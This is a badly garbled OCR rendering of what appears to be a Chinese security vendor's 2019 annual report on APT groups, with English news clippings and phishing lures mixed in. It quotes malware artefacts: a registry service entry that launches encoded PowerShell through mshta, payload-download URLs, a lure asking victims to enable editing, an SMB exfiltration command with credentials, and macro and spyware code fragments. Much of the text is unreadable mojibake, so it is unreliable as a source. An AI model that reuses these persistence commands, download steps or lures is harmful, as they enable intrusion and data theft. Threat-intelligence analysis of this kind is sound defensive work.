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|

Microsoft Word Online

e Sorry, there was a problem and we can't open this
document. If this happens again, try opening the
document in Microsoft Word.

Group123M I HiEH

WHERF, RASHARTRE, BA TR

’}' OfficeUpdate Et% F .
0 | BRESE (wEd [2e | ipEEs | cEeEE
9o

@? Officelpdate
EffR: LAER
BiFfui: Windows

B (M) dows'regedit. exe /s ®temp¥\pagefile reg

285 ® (S): C:\¥indows\system32

L]

Windows Registry Editor Version 5.00
B [HREY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\I]
"ErrorControl" = dword:00000000

\"\"WScript.Shell\"\") :b=\"\"powershell -encodedcommand

kAZQB4ACAAJAByADsA\"\":a.Run b&\"\"\"\",0,true:close\")"
"ObjectName"="LocalSystem"

"Start"=dword:00000002

"Type"=dword: 00000010

"DisplayName" = "LocalSystem"

"Discription" = "LocalSystem"

Group123M K48 TS

BLARIMIR, H7EGroupl23IREZIz L, T E] T VA/EHDarkHotel #9415 B3 Inexsm
ar, FAME(E, ZBE4rERHGroup123FDarkHotel Y E BT, MM FEREZATHRED, HiRE

IHENMES:

https://s.tencent.com/research/report/902.html

"i"™ = "28 20 27 33 36 2c 31 30 31 44 31 31 30 46 39 39 44 33 32 26

36 31 70 33 32 5a 39 31 7d 38 33 70 31 32 31 7d 31 31 35 65 31 31 36
7d 31 30 31 61 31 30 39 70 34 36 70 38 34 70 31 30 31 4c 31 32 30 7d
31 31 36 4c 34 36 61 36 39 70 31 31 30 44 39 39 70 31 31 31 4c 31 30
30 61 31 30 35 4c 31 31 30 61 31 30 33 46 39 33 44 35 38 4c 35 38 44

"ImagePath"="mshta.exe vbscript:Execute (\"Dim a,b:Set a=CreateObject (

JABOADOARABnAHAATABIAESATABNADOAXABTAFkAUWBUAEUATQBCAEMAJQBYAHTAZQBuUAH
QAQWBVAG4AdABYAGBALABTAGUAJABCAFMAZQBYAHYAaQB]AGUACWBCAEKATAAI AGKAIgAD
AC4RaQATACQAaARUAFMACABSAGKAdARCACIAIAAI ACKkAfABMAGBACGBFAGEAYWBOAHSAWW
BjAGGAYQBYAFOARABbLAGMAbLWBUAHYAZQBYAHQAXQAG6ADOAJABVAGKADGBOADEANGACACQA
XwAsSADEANGAPACKAfQBBAGYAbwBYAEUAYQB]AGgAewAkAHIAPQAKAHTIARWAKAFSAfQATAG

AIE - A
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GreezeBackdoor is a tool of the DarkHotel APT group, which we have previously written about. In addition, this victim was
also attacked by the Konni malware on 03 April 2018. The Konni malware was disguised as a North Korean news item in a
weaponized documents (the name of the document was “Why North Korea slams South Korea's recent defense talks with

U.S-Japan.zip”)
® O, ®
2018-03-26 2018-04-03 2018-09-21
Infected by User downloaded Infection by
GreezeBackdoor Konni malware Downloader of
of DarkHotel strain ScarCruft

Infection timeline

This is not the first time we have seen an overlap of ScarCruft and DarkHotel actors. Members from our team have already
presented on the conflict of these two threat actors at security conferences. We have also shared more details with our
threat intelligence customers in the past. They are both Korean-speaking threat actors and sometimes their victimology
overlaps. But both group seem to have different TTPs (Tactics, Techniques and Procedures) and it leads us to believe that
one group regularly lurks in the other’s shadow.

E-BigRENELE (BEEFERSE, RSSHE3)

313 BT (BE-E)

58 (BTR) YHEAMBERENERASTFNEAR, ERENREABD HFEAFN
FI. B, 88, BRFRA, FENHNPEAMAENREAR, RALEFERRTENBFRK
8, WHEEHAKNED, BERDEIMKREILEY, REFRMIKGRA AR,

7£2019%F, ZBLL{ERYS HCVE-2018-202508IWinRAR ACERIE: JURBEX M, BRE
SHEHBRANTHERES,

LS TREEGHEXERAIREEHREXREY - IEREE

Il I3 E= ™ Q- OBEE-M-
£ 2B BE O g B HwmEE AL L

S TREEEHERBRAIRE SR IEX TR
RENIZITARA = == p126.com>

1
2019%3H20H EHi= £48:38

BRHEER
G TREMREX. .
25.1MB

penTE © PEIE

SWEXEN.
SETALN BB
' I suTesss AR, rar (k)

SZIHF) n‘i:“%‘(c) I8 #EE=(0) i?‘_Tﬂﬁ(N) %HI(H)

i g ik =i
T B s TRt e AR S A S rar - EISHY ACE FEAEC, BIA/N 19,491,874 3
e Foh EEEAN HER et CRC32
[].. i
K x TftsE
Ly fkE
[L_a z = ]

#CVE-2018-20250;FmH & 45 1 i
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@v“ﬂ« Microsoft » Windows » [FFE] 2 » BF » B3 '|"||£§E

| ma~ | GaBEs~y  HEv  gFEEEE

I = E Console Window Hosts.exe
= 201974422 15:59
: ; 48.0 KB
L BRAEREE
fREERMANTER X

MZARNERNNERE, WEERBIHEQQENTETFRIGTIMN 5 EIFE B AN 4 T HAVTTH,
BREREEBMARSZENAN, FOAZSGEIEFEKFNBBNERN, MMm#ET T —MRNEE.

ERAEIK S L2 I

’ QQ/MB/FR/MERFNSER

’ i

[ FrEmgiE

ISIE

THIERQQUEBFE UL AV B SR E

654 bytes sent to . e .u5:80
POST /login.php HTTP/1.1
Host: "B . W ___MW____5

Connection: keep-alive

. |Cache-Control: max-age=0

s |origin: http://7. L]

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User—-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Geck
. |Rccept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp, image
10 |Referer: http://7 = "~ W B/ggframe.html?FbmNv=5e4b45e8b2bab07e
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;qg=0.9

Content-Length: 41

- )
1{ 1d=11%40gqg.com&pass=12345678%&verifycode= J

HENHIQQUEBFEMK SFIE 2

MG | Q0858 sl i Y

RTRBED MAN RFARTMALE BT ERE

4.pdf
}0 2.31IM 2019128308 T%2:12 FIf

]

BERENTHRA

https://s.tencent.com/research/report/902 .html

15/40



3/12/2020

LTRIEYAFEIE B (APT) 20194ERF TR - BUMMIF I & TT_BUMMa N7 & G 5L %1

/% SEIFE x (=5 =N enl 3
< (¢ ‘A FZZ |baps/” W EE W, index.php?user=ZmFsc2U=&rand=em41ZVVHQmO=_&filelink=aHROcDovL2Z: ﬁ‘ :

THIERM S ERFERB AR T BN B R E

POST /ajax.php HTTP/1.1

HOST: = owll "o _ son . sl e s m— - -

Connection: keep-alive

Accept: text/html, */*; g=0.01

Origin: https:// 5. % m . im ~ "mEm __m_m

X-Requested-With: XMLHttpRegquest

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML
; like Gecko) Chrome/58.0.3029.96 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8§
Referer: https:// M EmE R = X--Z=EN BEE =W /index.php?user=
ZmFsc2U=&srand=em41ZVVHQmO=&filelink=
aHROcDovLZ2ZzLjE2My5ib20vZnMvZGlzcGxheS8/
ZmlsZTO0ybnFBZ3FPUVILblFaYWFpQVhJIX25ZQUhUbXEOT0ZEaE9feFJoZ0g5VIRVTG
d2aWwdYa3NZ501meXBZaUI2cWdMNVAQc]czQ2RGQVFPSkZHaDdvU1 ZqUSZwPVgtTkVU
RUFTRS1IVUAFLUFUVEFDSE1IFT1Q=&access=d29yazMyMw==&ctk=1&tl1l=1
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;g=0.8

Cookie: rp=1; 1g=0

Content-Length: 160

i51te=bmV0ZWFz2Q%3D%3Dsaccess=d29yazMyMw$3D%$3Darand=em41Z2VVHQmMO0%3Ds
‘timestamp=MjAYyMCOwMi0yMCAXN]jowMToyNg%3D%3Dausername=MTFAMTY zImNvbQ
%$3D%3D&password=MTI zNDU2NzgS|

BENHOM ZERFEK S FE R

BoONBREERNXHER:

RIMEAE.rar

202031 EEMIL B2 doc

AT EEED MRS RFAZTMANAETEHEIATERTB AN pdf
PR SMMMEE TS B R ESHEIHEER doc

RINEH-ERsppt.rar

[4EZIWGD9021H & FAf.rar

REEFRE . pdf

KT ISERAIBUAZIRRIE L. docx

XXXE AT R R S AR iR & .doc

ERNER D WM R

3.2 FREILF EAIELRD
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g

{14

A
=

_ B

A
=

RPN - A
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RATHENED, SARNRRMIISERL (APT32, Oceanlotus) , ZALRIZAREEHEITHK
55, ERNEREENAPTRRALR, NMUBILEFRTN PEAMIERAENAR, MAERETRIE
MERENTFR. H2019F, BREZEEMERPOBZIREL T IZBRNKTIED.

ZHANRENERARZAIZ, SEBGHI. ABER, SRE. REFENRES EEH
MERWE. FERMNENE, FAENERBMMOZARREMETAMECH, BAAENIER
B BURSHEEESEFFITEFIE, WHENKN, ZARWEAZIFZATRE, NEELN
E. FEAR. BIREMSEHIEERE.

'KE B

—_
[ Fo#s:2019%F
EgxEtIE
B EXE
,E = Password
— w g Enter password to open file
' a2 | ol TN T . doox
T™Es] _ [ s 200%
- DLLAMIRE Emmrn =
1@ .docx
B33 : 20195
EEEt I
it ElER rar
BN -
—_

wwilib.dll
DLL{UANEE
& TH
L oy ——

chrome _elf.dll

directjpg

BERNERB SR

F019FMREF, BERAANKRRANMEEFICET. TENETHNSENETRE
XM, WERE TRISNEXNREY (WER) #TNE, MRTUFEZESER, ST
ERE., AES T TROTBEXHHT—, MERMERRE S, RERAZEERER-RL
EMAERZ L RIENpayload, RABRREMNEEXHEENCobaltStrikefIbeaconAx D, DenisZ ik
AB. 1EARAIGHOst,

— 1
Shellcode
D11Main B AL ET
| WAL LRI HALE
sha256
sha256
! '
Hook Keyl Key2
\
198 aesl28
aes
Encrypt Data ‘ Playload
LdrLoadD11 Shellcode (e v | —‘
Playload

TEETRS Dfpayload B2

MARRLFROKES, FOTERRN T SERERT SERENRE. EEHshellcode
B, 25T #ishellcodefiiT, WRTHAFMIN, BRMBINSTIRELFHIRAT:

Function name Segment Start Length

7] sub_45 =22000 00000045 0000000B

7| sub_50 zeg000 00000050 00000005

[F] sub_72 =2g000 00000072 D00000FE

[[#] sab_168 download & exec shellcode seglll 00000163 00001402 |
7| sub_E1507 =000 DO0ELE0T 00000005
[[#] =ub_E180F  Toad denis RAT =eg000 D00E180F 00002474 |

BEREDNITRE

ZANESREEMNFEENSHEY, FEHLAE, XFTFEBNEET2020FNERNKEN
FEAH.

https://s.tencent.com/research/report/902.html
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3.3 BMIA AR

RIS BN KE AL PEAMIKEENEAIFETIEI0E, KRALHEBITIER (BERET) .
H% (BEig&E. Patchwork, HangOver) . N4t (SideWinder) . RtAfi (donot) %, MiXLE4HLR
2B R FERLRUNXEK, X—REERMNUENIRSPHEMER.

3.3.1 BITTER (BER7)

BITTER (BR7E) tbEMHEAMIHITREMLEBRINEN—TREAR, REEREEIZEX
BT, BL. &EESFD, 20195, ZARNBANKREARNBHMFAK, BETRBESUFIRIN
LR T LN, BRTSIADAMN, TEARENLTRCBERIZFHARD,

WMHRAICH#IZIZDarkAgent (https://github.com/ilikenwf/DarkAgent) , {RE TiZFFRITIZAIAED
PINEE, BEXHEE. #HEEE, CMDShellE,

E RIEAIF AR D4R DarkAgent

BUMRIICH#IRIZ (https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client) , EI##{RE
T XHEIE, CMDShell 5 INRESS,

https://s.tencent.com/research/report/902.html
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3/12/2020 BB S _SEEINIE - iR s

&

[ P O O VO VIR R VB O U P N N O O ¢

SRICHFIARDAMN

M EFTRATEIHIR, T EREAREEREREEFRNABRBITRE, XHTFERIE
MRENDFHEILEBRTR—ENEE, FEHERTXE.

FRiEZ5h, BRICTIHFEAEHITHEEN:

st - T = el mps.govien] * B @V

Language: A

BRI

Copyright 201203

Mok

ERENNBETTEL
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mail-mn

#fﬁlggéﬁ IHEB I CRTAIDS WA E R RITEIERA

WIERBER
BRUBE

SRABmER

WRAER TioEs? RS B E R
“BERRALEBAE"

BEFEIENE, ZARTEI9FREREHRALNF THEERE:

Statistics 8 '] Logout

SHo P Computer User DOperating system First Seen Last Seen
1 106 0.5  ASHUR-SPC Ashur sPC Windows 10 Pro 2019-09-23  2019-09-23 11:03:35
2 1 210 Windows 7 Ultimate 2019-05-26 2019-10-11 08:52:34
32 54 DESKTOP-BSPODIL  DESKTOP-BSPDDAL  Windows 10 Education DO19-09-27  2019-10-24 0815044
4 6h2 127 WIN-VUASPOUVSUP  WIN-VUASPOUVSUP  Windows Server 2016 Standard  2019-10-04  2019-10-23 06:28:40
5 .2 50 ACCOUNTS-PC Accounts-PC Windows 7 Professional 20191005 2019-10-08 10:31:02
6 ¥ WHY-PC why-FC Windows 10 Pro 20191009 2019-10-21 03:48:06
745 20 LAPTOP-ESJIPJCO  LAPTOP-ESJIPICQ.  Windows 10 Home China 2019-10-10 2019-10-10 10:43:04
B u 173 ADMIN-PC Admin-PC Windows 7 Professional T019-10-18  2019-10-16 O2:34:44
2 1 2.4 Windows 7 Professional 2019-10-16 2019-10-21 O7:52:23
10 8 100 CT-WINDOWSTHIN  CT-WindowsThin Windows Embedded Standard  2019-10-17 2019-10-23 02:01:43
1 17 100 DIANMNERC DIANNKERC Windows 20T 0Enterprise 2019-10-21 2019-10-21 06:42:25
1261, 204 Micrescft Windows XP 2019-10-23 2019-10-23 O2:43:48

BRANAT TRESRRNADEERE

3.3.2 g%

BRAER, WIERE, Patchwork, HangOver, th2&EHTPEAMKITRENELR, RTH
EXRMAERSS, EEFEHRZARNEZBN. ZARNKEEIUNGIERERNE, KREFTNU
IBZI2009F 118, ESTEEER, EHNHEBRNKEF, ZAREZHIBAANMN. BFR
BOEHTRE.

FE2019%F ¥4, ZARMbadnews KRB EFEERP, BRET2019F FHF, ZARHART
—RBACNCRATHIRIZIZHIAR D, HIREZMBUSTIM . RARUKETRE, 5iZEBRMERba
dnewsEARDHELL, FEICNCRATARDEIFERGthubZEE=AFERD ARG, 2%, HRHNER
ARENFRIEZREE —EMTELEN,

wi= wi=

FETLRAE (TEE RHERRZ (FE

) TieshE4aE HEgnts (T8F

F—rRtEik (B B ) THESHy 2019

FTEFR ) BE.. FRHRREES..
BRIIFEX
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rdata: 00 0000000C -
rdata: 00 000000AK
rdata:00 0000000A
rdata: 00 000000ZE
rdata:00-- 000000LE
rdata: 00 00000010
rdata: (0= 00000026
rdata:00 00000024
rdata: 00 00000044
rdata: 00 00000012
rdata: 00 O00000AE
rdata:00 0000003C
rdata:00 000000LT
rdata:00-- 000000LC
rdata: 00 00000022
rdata: (0= 00000008
rdata:00 0000000A

doc
ihttps://raw githubusercontent com/fens78B/Cnstomer Support/master/Marketingplanl. doc

open
 A\FlashHelperlpdate. exs
inwalid string position

¢
¢
(e
2

string too long
- IDispatch error #4d
* Unkmown error Ox¥01X
* FlashHelperlpdate TaskMachineCore
- Triggerl
* https://raw githubusercontent. comffengT88/Customer_Support/master/CustomerFackages. exe

* http://moe—en. orgfsuccess. ico
invalid stoll argument
stoll argument out of range
(- application/jison
(e GET
(= POST

AoOooMOOGOOoOOOOOO0o0Oa0000

rdata:00 00000005 ut (44
rdata: 00+ 0000000S “Iphw
rdata:00- 0000000S el
rdata:00 00000008 (SO 1

CnCRAT/R B fgithubiE &t

3.3.3 SideWinder (NIE1E)

Sidewinder (I2%E) EEMZEEMBERPOKFE0I18FIRENAPTREAR, ERIFH,
HNRIMZARNKE BRI NEETEN BT, BEM2019FFE, HENE, ZARYPERR
AWBEREFERETRE, REEMEEESES. L. Bp%. ARG EMIRBITIER (BER
) B—ENES.

ZHRRREREEER T EREARIHEIGNA N, MEERESEPEANERIEZENTS
X, RESRERAE—ENNRY, T9ZERTERIRERBIINREEHEARNEMENTIRE.

“w EERE - IGIRE

e
o EE
Il IxEe= ™ Q-G OE§-
e EE 2B WE U e Bm)  HRERH AN B/ 9% BEES
S ES
_m MEBERE

W T Y LT, B, Mail-a.cn> 2019410A158 E#i— T49:33
KA pla

16 | 1.7Mb

IFE AL

E  odocx

lobal.egn-cn.
B7228C3C/34107/1429/09ac31e3/
= doc

SideWinderf )& B4

payloadf9INE A NIRZFIR T AZM, MARBIMME (BMB) WAN, MREZHORATERE
RELGHICH RAT,

ngsiill Usershbpplication Data‘AuthyFiles hd |

tbalTxs. tmp hid write. exe
THME JL{ AP Windows Write
T8 KB - Microsoft Corpor. .

write. exe. config
CONFIG 301
1 KB

SideWinderfpayload iz 5 =
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B

temApp

=
OE
OE
éﬁ
éﬁ
b e
4 f
4
4

AR B EBRENAAIARIRARRARR RN

SideWinderfJ S£LRAT

3.4 EAfR7RAIELRD

Hit SR EZREMEER, BEARNAEN. Lamberts, Turla, %75 ERARIIR
AREENREMS @OAREN LARFIRAME. BT ZAANARKEARASNERBMLAE. B
B2, HPFARSSER. IOTIREEANTF, BUREBRBEARD (BARERADLAER) , RRAFERT
Y. IS, ERTRENBERERSMBERIEMENIRE, EETENHLENERE, BA
SEIE, FEIBEIEEK,

o

it

WN7E2019FF R LEIG & A TA—LEpipeloader, FIFASMBR{EmFAEM, HEMERRAXE, IE
BRI,
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U, EFFAPTIEHZEE

BRITEERAD (APT) HIANZHEBUANER, BEERKSMPRN—ES, 2019FHMEKR
TENRAS ERBUANR . EENRARTMSERXE, MEFPFRPR, BEHR, BEXI,
HERIIFEE,

2019MRRIAPTINE SRR R SEL

B
20%

HREKIEAERAPTSM ST

4.1 EAEITIF

2019 B DAV EKEBF T, XESISEAE D BRI ERE i, RREMTH
Y RHAKEE, SARE LNES LNAKSBRNEN, EENKZEENEARE, THERRE
RESENABIETTR,. 20195, e SIEXNAPTARNERERASEEE., HPRARKENA
#29Kimsuky#darkhotel,

Kimsuky/BAR A EEEL 2 SAIRNE, IMENT2REMIERFOE2018, 2019191 &I AHer
mit (BL) VANE—RKEHAR., ZALRE2019FREER, SRENEENEIRET TR, Wi
HES—EHITRE:

upbitcom <event@upbit.cokr> a1 [ 27F 921
[CHLHZEIE O[22 (vDX) 42 O[HIE Z2E =32 2/zt FAl.

L2 ECHHE 0 07|12 S2GHIAIL. 40l BES B5547| 25 0] AR 22
MEQE OIS 2L LT L0 s

Jas
—a=
==
—ac

OE ZEA HAE..
=] 114 KB
2 Etile DM,

L= EtHH 4 DHIETUICH

DWEHMH= 20193 62 1922 20193 52 25 LKA HHE
BOMANDK S OHENM =&AZE AZEEsUCL D22 6t
== ]Hn )

=2 ZhAH Al B UM Dl&E RIS
Hl21 =0l et HIME0ts 22 oS

B7I3 2 HAlS il DAL BT 0D LTI sl 2 LS
M E 5 | Z5

Kimsukytt S E S — BB H TN B K EH

https://s.tencent.com/research/report/902 .html

AN - BiRZL

23/40



3/1212020 LTRYAFEEIE B (APT) 20194ERF T - BUMMIF I & TT_BUMME P & 65 5280 % B Ui i@ & _SREAIIE - B TR 24

TiE#E, DarkHotel{#2F T Chrome 0-day exploit CVE-2019-13720%t 3 8RE¥A9 B AT3H4T 7 R K" Wiz
ardOpium "M EES (SIHBREHENRS, LSZHE4) .

BRI 7 SAEE ST R :

[o =] =/ |
## http://www.arirangmeari.com/index php o~ G| Y kT
# (mor)»

95 &g =7 232~ M= a0

5~ v [ dm v HOX(P)v VEE) v ERO) v @

Otclg&el ~

arirangmeari.com

Fdlos(zo19)4 118 22

SHALM 1 HH=23

O -0 a®

S | MHolkA=3 | Aol It | FREHI | S

|B0RMR €2 | SAM | SAEEY

WREHEREM (SIBBEREMAAcyberwarl5, NSEHEES)

v id="footer-mark" class="col-md-3 mgtop2@"izt;
t;a href="index.php"ggt;&1t;img src="./asset/images/footer_mark.png" /Egt;a1t;/algt;

ivagt;
v id="footer-content” class="col-md-3 mgtop2"igt;
bidiv i nav"agt;
&lt;a href="index.php" class=""&gt;&lt;span class="mgtopl@"sgt; 3 =21a1t;/spansgt;Elt;/atet 81t ;span class="mgleft10

mgrightle sgt; |&lt;/spanggt;&lt;a href="index.php?t=revolution” class=""&gt;ilt;span class="mgtople“szt; = HES4alt; /span&gt a1t
class="mgleftle merightld®ast; |alt;/spanist;alt;a href-"index.php?t-news" class=""Sst;altispan class="mgtopld"ist;=t=lF%-
S1t;/spanizt 81t;/atat; A1t span class="mgleftld mgright18"Szt:|S1t;/spaniet;81t;a hrefs"index.php tering" class=""Szt;81t;span clas:
ShEl® Bait; /spantet 61t /adet; 81t span class—"mgleftls mgright18"Set; |811;/spanget &1t a href="index.phpt-course” class—"*ggt;alt.
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1 India makes Kashmir 'The Most Dangerous Place in the World

2 By revoking the special status of the strategic territory, India is asking for conflict with Pakistan

The Indian government's decision to revoke the semi-autonomous status of Kashmir and adding a huge number of military troops in the
4 region is dangerous and wrong. Bloodshed is certain, and tensions will soar.
Kashmir has been the central source of friction between India and Pakistan and a hotbed of separatist activities. Claims to Kashmir have led
to two wars and frequent eruptions of violence and terrorism over the past seven decades, made more menacing by the nuclear arsenals of
Pakistan and India. Only in February, a Kashmiri suicide bomber struck an Indian military convoy, prompting a tense military standoff and
aerial dogfights between India and Pakistan. After an earlier such incident, former president Bill Clinton dubbed Kashmir “the most
dangerous place in the world.”
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U.S. Cyberattack Hurt Iran’s Ability
to Target Oil Tankers, Officials Say

Islamic Revolutionary Guards Corps patrolling around a seized British tanker in Bandar Abbas, Iran,
last month. An American cyberattack in June took out a critical database used by the Revolutionary
Guards. Hasan Shirvani/Agence France-Presse — Getty Images
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Steven Brava (202) 862-3655
Pennsylvania Ave, NW Fax: (202) 862-3647
Washington, DC 20500

WASHINGTON D.C

" office of Human Resourcef Job Offers
President’s Council of Ecofiomic Advisers

Subject: Job in Council of Economic Advisers; Assistant Director

The Council of Economic Advisers (CEA) recruits Assistant Director. Assistant Directors have a Ph.D. in economics and are typically
on leave from positions at universities, government agencies, or research organizations. Excellent research skills and strong
presentation skills are needed. Assistant Directors participate actively in the policy process, represent the CEA in interagency
meetings, and have primary responsibility for the economic analysis and reports prepared by the Council. In recent years, Assistant
Directors have been faculty members from institutions such as Berkeley, Carnegie Mellon, Cornell, Duke, Georgetown, Maryland,
Michigan, MIT, and Yale, and economists from the Federal Reserve Board, USDA, SEC, and the DOJ. It has been a productive and
collegial team, and it is supported by an exceptionally strong staff of on-leave PhD students and recent college graduates. The CEA
needs specialists in virtually every field of economics. Most Assistant Directors begin work at the Council in the summer and stay for
a full academic year. CEA staff members must be U.S. citizens and may not also be citizens of another country.

If you are interested in this position you can send your C.V. to cv@becomestateman.com.
Application Deadline: Applications are accepted on a rolling basis.

The United States Government does not discriminate in employment on the basis of race, color, religion, sex, national origin, political
affiliation, sexual orientation, gender identity, marital status, disability and genetic information, age, membership in an employee
organization, or other non-merit factor.

DATE: Wednesday, May 22,2019
PLACE: Pennsylvania Ave., NW
Washington, DC 20500
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NEW YORK POWER BLACKOUT,; DID IRAN DID
PERFORMED A COUNTER CYBERATTACK?

Share this...

00000OO

Last Saturday night, a blackout in New York left the entire Manhattan area without electric
power; interestingly, the incident occurred on the anniversary of the massive blackout that

happened in 1977 that left the entire city without power, crippling traffic and all work, academic

and domestic activities, network security specialists report.
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Really i'm very busy now, you can check below and find details at
first sheet, also please fill second sheet and send it to me

http://www.cam-research-ac.com/Documents/ERFT-Details.xls
You need windows for checking it because of our security policy
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Employee Performance Evaluation Form

Employee Name: Employee ID Number:

Job Title: Department:

This Document Created and Protected with Microsoft Office 2019 version,
For Edit and Work with this document you need to enable compatibility mode.
Enable Editing with this simple steps:

First Click on “ ” in top of document,

Second Click on “ " in top of document,

Now you can edit form.
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A Home » Advisory: Turla group exploits Iranian APT to expand coverage of victims.

Advisory: Turla group exploits Iranian
APT to expand coverage of victims

A joint report from the NCSC and NSA highlighting Turla activity

Download PDF
PUBLISHED

21 October 2019
Share
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adlLTRanN

Press release
28.01.2019

Information on a cyber attack

On the 24th of January 2019, Altran was the target of a cyber attack affecting operations in some
European countries.

To protect our clients, employees and partners, we immediately shut down our IT network and all
applications. The security of our clients and of data is and will always be our top priority. We have
mobilized leading global third-party technical experts and forensics, and the investigation we have
conducted with them has not identified any stolen data nor instances of a propagation of the incident
to our clients.

Our recovery plan is unfolding as expected and our technical teams are fully mobilized.

Throughout the process, Altran has been in contact with its clients, relevant governmental authorities
and regulators.
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virustotal.com/gui/file/bfb39...
Interesting potential DTRACK (CC @Mao_Ware)

Dumps the data mined output via manually mapped
share over SMB to RFC1918 address with a statically
encoded user/pass:

> net use \\\\10.38.1.35\\C$ su.controller5kk
Juser:KKNPP\\administrator
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T49:37 - 2019108281 - Twitter Web App

REARDENBERER (MSEHH£12)

TMUXBKERI™, ENEMRARALR (ISRO) thEHKERETHE, XEEMChandrayaan-2
(AME2S) BERITMRMBE—ERXREK?

https://s.tencent.com/research/report/902 .html 31/40



3/1212020 LIRS YAFEIE B (APT) 20194ERF TR - BUMMIF T & TT_BUMMa N7 & _BRE L8 5 R FO o gl & SR AIIE - 1B TR Z 4

ST READ <>

Home / India / Not only Kudankulam, ISRO, too, was alerted of cyber security breach

Not only Kudankulam, ISRO, too, was
alerted of cyber security breach

The breach at the Kudankulam plant became public on October 28 after some of the plant’s data

showed up on virustotal.com, an online malware scanning service.
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Original ASUS code section

Original ASUS code

Payload Decryptor

Resource 136: EXE
Encrypted Payload

Resource 136: EXE
Malicious Downloader

Remainder of ASUS updater tool code

Remainder of ASUS updater tool code
(broken PE file)

(broken PE file)

S y N

ShadowHammerf 2 (SIFFBRERSE, SEHEELS)

X ANESETHX & f9BlackTech AR FI LAY A7 5 & F LRI WebStorage iR S5 23 1T R 1 IR 5,
D RBERME:
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ROUTER COMPROMISE

ASUS
WebStorage

-

—_—
Target PC

ASUS
WebStorage

N
@ =
R
‘ Router

Attacker

R ——
Target PC

R e
1
]
1]

ASUS
WebStorage

Target PC

UPDATE INTERCEPTION

: (2 =
0 ASUS server
ASUS Update request
WebStorage intercepted

— Router

Target PC o

2

Malicious
update file

BlackTech#) i iii#8 (5IFABESET, 2&4EH16)

5.2.3 RIZRUKRAERE

ERRSAPTARLERERER, RARENSE, EERFFZHRRIZRNELI, £2019
F, MRET ZEAPTHRREMARKERRS,

WAPT34BARAMAE TEAMBHIMEE, MuddyWater BRI AE TERBIKH#TESR, MTuraifl
T TAPT3AM—LEERIRNE, (E5FIBAPTI4MEMIREHITRE SR,

MipRIZBIRDEE, —IUELE—IUE, MERKAENSBNAPTREAR, RFSEHRLE
FEAIERPETMREMMAIAPTARAK S, BUIERARIE. ANRES.,

5.2.4 ZEABHRENZF MM AAPTARMEMEES

B TwindowsR4E, MacR%t. LinuxREE, MERBmHRTS, WEHMAAPTRENEE, 2F8
WEHHIBES, B NAPTALRAIIRARIRES .

MBANARBRNEERE. AR, ERW. MR, B, lazarus, KimsukyEHHRA, HABTZ
FENKEEES .
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#If Mac Then
#If VBAT Then

Private Declare Function system Lib “libc.dylib” (ByVal command As String) As Long
Private Declare Function popen Lib “libc.dylib” (ByVal command As Strin
#End If
#End If
Function psave3(i)|
cdata = Array (98, 3
clen = UBound(cdata) - LEound (cdata) +
For j = 0 To clen - 1
bdata = cdata(j)
Put 121, 1, CByte(bdata): i = i + 1
Next

clen = UBound(cdata) - LBound (cdata) + 1
For j = 0 To clen - 1
hdata = rdatali)

Lazarusfmacl & 3& 5

SystemiService

try {
v7l.g = v7.e.split("/");
if (v1.g.length != 16) {

ByVal mode As String

JPrivate Declare PtrSafe Function system Lib “libc.dylib” (ByVal comnand As String) As LongPtr
Private Declare PtrSafe Function popen Lib “libc.dylib” (ByVal command As String, ByVal mode As String) As LongPtr

As Lon

J
cdata = Array(117, 112, 93, 13, 10, 105, 102, 40, 36, 114, 113, 32, 45, 101, 113, 32, 36, 110, 117, 108, 108, 41, 123, 98, 114, 101, 97, 107, 125,

102, 32, 49, 64, 13, 10, 110, 102, 98, 32, 48, 32, 36, 08, 102, 32, 60, 48, 13, 10, 36, 114, 113, 61, 116, 100, 100, 32, 36, 10%
1

goto label 277;
} Call HEUBIFCRFCallLogs.txt L&
v7.a(v7.g[0].trin(), "Call", dcteat.j.a); cT FEUERFEF Hcontacts.txt &
v7.a(v7.g[1].trim(), "CT", dcteat.j.b); SMS SREVG S Isms.txt L&
v7.a(v7.g[v23].trim(), "SMS", dcteat.j.c); =
V7.a(v7.g[v22] .trim(), "Key", doteat.j.d)s K&V RN EREF keys.tt L&
v7.a(v7.g[v6].trim(), "Tree", dcteat.j.e); |Ir€€ KENSDEXMFEF HTreetxt L&
v7.a(v7.g[5].trim(), "AC", dcteat.j.f); AC FREUKF{SB7F Maccounts.txt
v7.a(v7.g[6].trim(), "Net", dcteat.j.g); = i
v7.a(v7.g[7].trim(), "CR", dcteat.j.h); Net mg%ﬁ{;ﬁ#ﬁngtnnfo.mﬁ
v7.a(v7.g[8].trim(), "LR", dcteat.j.i); CR FEUEEREFNClisttxt HE
v7.a(v7.g[9].trim(), "FS", dcteat.j.j); LR RE
v7.a(v7.g[10].trim(), "GP", dcteat.j.k);
v7.a(v7.g[11].trim(), "PK", dcteat.j.l); FS Xt tfe
v7.a(v7.g[12].trim(), "BW", dcteat.j.m); GP FKENGPSISRFAGP.txt L&
v7.a(v1.g[13].trim(), "CE", dcteat.j.n); PK FRENRI B #R1F Spkinfo.txt E{E
v1.a(v1.g{14] .txim(), "Wapp", dcteat.j.o); [gw AR S R Hbw. txt L&

CE RENEREBFce txt L&

Wapp $KElwhatsapp{sE87F ) WappHolder.txt &

donotBIFS IR AR

5.2.5 {BRIE (FlaseFlag) MERZ

ARERIRED, HONEATEREREMEEMBARNTIPs (BoR, &R, I72) KENRA
2 (FlashFlag) , fERIERYEEESFIRIRARKIIBEMEE, BEFERTHERAEEMARNERN,
B2, BEER, bHEFERERRNERE, SEHAN, NRBAT. BEigEES.

2019FMEERES, BRI T 2 MRIES), SIE8ER. AR, WERK (SideWinder

) . lazarus, TransparentTribe%s,

fldonoti&{f Transparent Tribe AR E N :
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Dim byt () As Byte

Dim ariNave() As String

£ile Nave_name = "hargardius"

£1dr_Nave_name ron$ ("ALLUSERSPROFILE") & "\Mldnrab\"

If Dir(fldr N
MkDiT (F1

Dim btsNave() As Byte

Dim linNave As Double

LinNave = 0

1f Len(Dir(bat_Rafzai_file)) = O The
